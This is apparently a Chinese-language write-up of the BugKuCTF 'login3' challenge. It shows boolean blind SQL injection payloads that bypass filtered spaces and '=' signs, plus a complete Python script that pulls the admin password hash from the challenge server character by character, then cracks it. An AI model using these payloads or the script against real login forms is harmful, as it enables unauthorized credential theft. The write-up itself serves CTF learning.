BugKuCTF中套路满满的题-------login3(SKCTF)

根据题目给的提示,无疑是基于bool的盲注,而关于盲注的一般都与脚本有关,毕竟很少人会去一个一个猜

然而,再用脚本解决这个问题时,也需要找到准确的注入语句,否则,白费。。。

首先进入页面一试用户名为admin,发现密码报错(说明此用户存在,那么关键的问题就是密码了。。):

BugKuCTF中套路满满的题-------login3(SKCTF)

再构造语句,进行几次的基于bool盲注的注入,查看一下有没有绕过一些特殊的语句

username='^(1)^1#&password=123

在测试过程中,发现过滤了 ‘空格’ 以及 ’=‘ ,则空格可以使用  () 代替,=可以使用 <> 代替,即:

username='^(select(ascii(mid((select(flag)from(flag))from(1)))<>103))^1&password=123
username='^(select(ascii(mid((select(password)from(admin))from(1)))<>102))^1&password=123

构造好注入语句,就可以开始写脚本了:

#coding=utf-8
import requests
import re,string,hashlib
url = 'http://123.206.31.85:49167/'
sss = string.digits + string.lowercase
headers={
    'Host' : '123.206.31.85:49167',
    'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0',
    'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language' : 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Referer' : 'http://123.206.31.85:49167/',
    'Content-Type' : 'application/x-www-form-urlencoded',
    'Content-Length': '87',
    'Cookie' : 'PHPSESSID=qij0np73li9nmm1rog8vo5dm76',
    'Connection' : 'keep-alive',
    'Upgrade-Insecure-Requests' : '1'
}
answer = ''
for i in range(1, 50):
    flag = 0
    for j in sss:
        postuser = "'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#" % (i, ord(j))
        data = {'username': postuser, 'password': 'admin'}
        html = requests.post(url, headers=headers, data=data).text
        html = re.findall(r"<p align='center'>(.*?)</p>", html, re.S)[0]
        if 'username does not exist!' in html:
            answer += j
            flag = 1
            print answer
            break
    if flag == 0:
        break

print 'password is ', answer

运行,即可得被加密过的password,使用md5解密得其明文为:skctf123456

再次登陆:username:admin

                 password :   skctf123456

即可得到key。。。。。。。。